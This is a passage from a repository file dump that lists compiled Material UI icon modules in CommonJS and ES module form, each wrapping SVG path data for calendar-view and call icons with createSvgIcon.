    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 11H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4zM8 18H4v-5h4zm6 0h-4v-5h4zm6 0h-4v-5h4z\"\n}), 'CalendarViewMonthRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewMonthRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 11H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4zM8 18H4v-5h4zm6 0h-4v-5h4zm6 0h-4v-5h4z\"\n}), 'CalendarViewMonthRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewMonthSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zM8 11H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4zM8 18H4v-5h4zm6 0h-4v-5h4zm6 0h-4v-5h4z\"\n}), 'CalendarViewMonthSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewMonthSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zM8 11H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4zM8 18H4v-5h4zm6 0h-4v-5h4zm6 0h-4v-5h4z\"\n}), 'CalendarViewMonthSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewMonthTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h4v5H4zm0 7h4v5H4zm6 0h4v5h-4zm6 0h4v5h-4zm0-7h4v5h-4zm-6 0h4v5h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 18H4v-5h4zm0-7H4V6h4zm6 7h-4v-5h4zm0-7h-4V6h4zm6 7h-4v-5h4zm0-7h-4V6h4z\"\n}, \"1\")], 'CalendarViewMonthTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewMonthTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h4v5H4zm0 7h4v5H4zm6 0h4v5h-4zm6 0h4v5h-4zm0-7h4v5h-4zm-6 0h4v5h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 18H4v-5h4zm0-7H4V6h4zm6 7h-4v-5h4zm0-7h-4V6h4zm6 7h-4v-5h4zm0-7h-4V6h4z\"\n}, \"1\")], 'CalendarViewMonthTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewWeek.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 2h2.5v12H13zm-2 12H8.5V6H11zM4 6h2.5v12H4zm16 12h-2.5V6H20z\"\n}), 'CalendarViewWeek');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewWeek.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 2h2.5v12H13zm-2 12H8.5V6H11zM4 6h2.5v12H4zm16 12h-2.5V6H20z\"\n}), 'CalendarViewWeek');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewWeekOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 2h2.5v12H13zm-2 12H8.5V6H11zM4 6h2.5v12H4zm16 12h-2.5V6H20z\"\n}), 'CalendarViewWeekOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewWeekOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 2h2.5v12H13zm-2 12H8.5V6H11zM4 6h2.5v12H4zm16 12h-2.5V6H20z\"\n}), 'CalendarViewWeekOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewWeekRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 2h2.5v12H13zm-2 12H8.5V6H11zM4 6h2.5v12H4zm16 12h-2.5V6H20z\"\n}), 'CalendarViewWeekRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewWeekRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 2h2.5v12H13zm-2 12H8.5V6H11zM4 6h2.5v12H4zm16 12h-2.5V6H20z\"\n}), 'CalendarViewWeekRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewWeekSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zm-9 2h2.5v12H13zm-2 12H8.5V6H11zM4 6h2.5v12H4zm16 12h-2.5V6H20z\"\n}), 'CalendarViewWeekSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewWeekSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zm-9 2h2.5v12H13zm-2 12H8.5V6H11zM4 6h2.5v12H4zm16 12h-2.5V6H20z\"\n}), 'CalendarViewWeekSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewWeekTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 6H11v12H8.5zM13 6h2.5v12H13zM4 6h2.5v12H4zm13.5 0H20v12h-2.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M6.5 18H4V6h2.5zm4.5 0H8.5V6H11zm4.5 0H13V6h2.5zm4.5 0h-2.5V6H20z\"\n}, \"1\")], 'CalendarViewWeekTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalendarViewWeekTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 6H11v12H8.5zM13 6h2.5v12H13zM4 6h2.5v12H4zm13.5 0H20v12h-2.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M6.5 18H4V6h2.5zm4.5 0H8.5V6H11zm4.5 0H13V6h2.5zm4.5 0h-2.5V6H20z\"\n}, \"1\")], 'CalendarViewWeekTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Call.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.01 15.38c-1.23 0-2.42-.2-3.53-.56-.35-.12-.74-.03-1.01.24l-1.57 1.97c-2.83-1.35-5.48-3.9-6.89-6.83l1.95-1.66c.27-.28.35-.67.24-1.02-.37-1.11-.56-2.3-.56-3.53 0-.54-.45-.99-.99-.99H4.19C3.65 3 3 3.24 3 3.99 3 13.28 10.73 21 20.01 21c.71 0 .99-.63.99-1.18v-3.45c0-.54-.45-.99-.99-.99\"\n}), 'Call');"
  },
  {
    "path": "packages/mui-icons-material/lib/Call.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.01 15.38c-1.23 0-2.42-.2-3.53-.56-.35-.12-.74-.03-1.01.24l-1.57 1.97c-2.83-1.35-5.48-3.9-6.89-6.83l1.95-1.66c.27-.28.35-.67.24-1.02-.37-1.11-.56-2.3-.56-3.53 0-.54-.45-.99-.99-.99H4.19C3.65 3 3 3.24 3 3.99 3 13.28 10.73 21 20.01 21c.71 0 .99-.63.99-1.18v-3.45c0-.54-.45-.99-.99-.99\"\n}), 'Call');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallEnd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c-1.6 0-3.15.25-4.6.72v3.1c0 .39-.23.74-.56.9-.98.49-1.87 1.12-2.66 1.85-.18.18-.43.28-.7.28-.28 0-.53-.11-.71-.29L.29 13.08c-.18-.17-.29-.42-.29-.7s.11-.53.29-.71C3.34 8.78 7.46 7 12 7s8.66 1.78 11.71 4.67c.18.18.29.43.29.71s-.11.53-.29.71l-2.48 2.48c-.18.18-.43.29-.71.29-.27 0-.52-.11-.7-.28-.79-.74-1.69-1.36-2.67-1.85-.33-.16-.56-.5-.56-.9v-3.1C15.15 9.25 13.6 9 12 9\"\n}), 'CallEnd');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallEnd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c-1.6 0-3.15.25-4.6.72v3.1c0 .39-.23.74-.56.9-.98.49-1.87 1.12-2.66 1.85-.18.18-.43.28-.7.28-.28 0-.53-.11-.71-.29L.29 13.08c-.18-.17-.29-.42-.29-.7s.11-.53.29-.71C3.34 8.78 7.46 7 12 7s8.66 1.78 11.71 4.67c.18.18.29.43.29.71s-.11.53-.29.71l-2.48 2.48c-.18.18-.43.29-.71.29-.27 0-.52-.11-.7-.28-.79-.74-1.69-1.36-2.67-1.85-.33-.16-.56-.5-.56-.9v-3.1C15.15 9.25 13.6 9 12 9\"\n}), 'CallEnd');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallEndOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.59 10.52c1.05.51 2.04 1.15 2.96 1.91l-1.07 1.07c-.58-.47-1.21-.89-1.88-1.27v-1.71m-13.2 0v1.7c-.65.37-1.28.79-1.87 1.27l-1.07-1.07c.91-.75 1.9-1.38 2.94-1.9M12 7C7.46 7 3.34 8.78.29 11.67c-.18.18-.29.43-.29.71s.11.53.29.7l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.1.7-.28.79-.73 1.68-1.36 2.66-1.85.33-.16.56-.51.56-.9v-3.1C8.85 9.25 10.4 9 12 9s3.15.25 4.59.73v3.1c0 .4.23.74.56.9.98.49 1.88 1.11 2.67 1.85.18.17.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71s-.11-.53-.29-.71C20.66 8.78 16.54 7 12 7\"\n}), 'CallEndOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallEndOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.59 10.52c1.05.51 2.04 1.15 2.96 1.91l-1.07 1.07c-.58-.47-1.21-.89-1.88-1.27v-1.71m-13.2 0v1.7c-.65.37-1.28.79-1.87 1.27l-1.07-1.07c.91-.75 1.9-1.38 2.94-1.9M12 7C7.46 7 3.34 8.78.29 11.67c-.18.18-.29.43-.29.71s.11.53.29.7l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.1.7-.28.79-.73 1.68-1.36 2.66-1.85.33-.16.56-.51.56-.9v-3.1C8.85 9.25 10.4 9 12 9s3.15.25 4.59.73v3.1c0 .4.23.74.56.9.98.49 1.88 1.11 2.67 1.85.18.17.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71s-.11-.53-.29-.71C20.66 8.78 16.54 7 12 7\"\n}), 'CallEndOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallEndRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4.51 15.48 2-1.59c.48-.38.76-.96.76-1.57v-2.6c3.02-.98 6.29-.99 9.32 0v2.61c0 .61.28 1.19.76 1.57l1.99 1.58c.8.63 1.94.57 2.66-.15l1.22-1.22c.8-.8.8-2.13-.05-2.88-6.41-5.66-16.07-5.66-22.48 0-.85.75-.85 2.08-.05 2.88l1.22 1.22c.71.72 1.85.78 2.65.15\"\n}), 'CallEndRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallEndRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4.51 15.48 2-1.59c.48-.38.76-.96.76-1.57v-2.6c3.02-.98 6.29-.99 9.32 0v2.61c0 .61.28 1.19.76 1.57l1.99 1.58c.8.63 1.94.57 2.66-.15l1.22-1.22c.8-.8.8-2.13-.05-2.88-6.41-5.66-16.07-5.66-22.48 0-.85.75-.85 2.08-.05 2.88l1.22 1.22c.71.72 1.85.78 2.65.15\"\n}), 'CallEndRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallEndSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.68 16.07 3.92-3.11V9.59c2.85-.93 5.94-.93 8.8 0v3.38l3.91 3.1L24 12.39c-6.41-7.19-17.59-7.19-24 0z\"\n}), 'CallEndSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallEndSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.68 16.07 3.92-3.11V9.59c2.85-.93 5.94-.93 8.8 0v3.38l3.91 3.1L24 12.39c-6.41-7.19-17.59-7.19-24 0z\"\n}), 'CallEndSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallEndTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.59 12.23c.67.38 1.3.8 1.88 1.27l1.07-1.07c-.92-.75-1.91-1.39-2.96-1.91v1.71zM3.53 13.49c.59-.48 1.22-.9 1.87-1.27v-1.7c-1.04.51-2.03 1.15-2.94 1.9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7C7.46 7 3.34 8.78.29 11.67c-.18.18-.29.43-.29.71s.11.53.29.7l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.1.7-.28.79-.73 1.68-1.36 2.66-1.85.33-.16.56-.51.56-.9v-3.1C8.85 9.25 10.4 9 12 9s3.15.25 4.59.73v3.1c0 .4.23.74.56.9.98.49 1.88 1.11 2.67 1.85.18.17.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71s-.11-.53-.29-.71C20.66 8.78 16.54 7 12 7m-6.6 5.22c-.65.37-1.28.79-1.87 1.27l-1.07-1.07c.91-.75 1.9-1.38 2.94-1.9zm15.07 1.28c-.58-.47-1.21-.89-1.88-1.27v-1.71c1.05.51 2.04 1.15 2.96 1.91z\"\n}, \"1\")], 'CallEndTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallEndTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.59 12.23c.67.38 1.3.8 1.88 1.27l1.07-1.07c-.92-.75-1.91-1.39-2.96-1.91v1.71zM3.53 13.49c.59-.48 1.22-.9 1.87-1.27v-1.7c-1.04.51-2.03 1.15-2.94 1.9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7C7.46 7 3.34 8.78.29 11.67c-.18.18-.29.43-.29.71s.11.53.29.7l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.1.7-.28.79-.73 1.68-1.36 2.66-1.85.33-.16.56-.51.56-.9v-3.1C8.85 9.25 10.4 9 12 9s3.15.25 4.59.73v3.1c0 .4.23.74.56.9.98.49 1.88 1.11 2.67 1.85.18.17.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71s-.11-.53-.29-.71C20.66 8.78 16.54 7 12 7m-6.6 5.22c-.65.37-1.28.79-1.87 1.27l-1.07-1.07c.91-.75 1.9-1.38 2.94-1.9zm15.07 1.28c-.58-.47-1.21-.89-1.88-1.27v-1.71c1.05.51 2.04 1.15 2.96 1.91z\"\n}, \"1\")], 'CallEndTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMade.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'CallMade');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMade.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'CallMade');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMadeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'CallMadeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMadeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'CallMadeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMadeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6c0 .56.45 1 1 1h5.59L4.7 17.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L17 8.41V14c0 .55.45 1 1 1s1-.45 1-1V6c0-.55-.45-1-1-1h-8c-.55 0-1 .45-1 1\"\n}), 'CallMadeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMadeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6c0 .56.45 1 1 1h5.59L4.7 17.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L17 8.41V14c0 .55.45 1 1 1s1-.45 1-1V6c0-.55-.45-1-1-1h-8c-.55 0-1 .45-1 1\"\n}), 'CallMadeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMadeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'CallMadeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMadeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'CallMadeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMadeTwoTone.js",
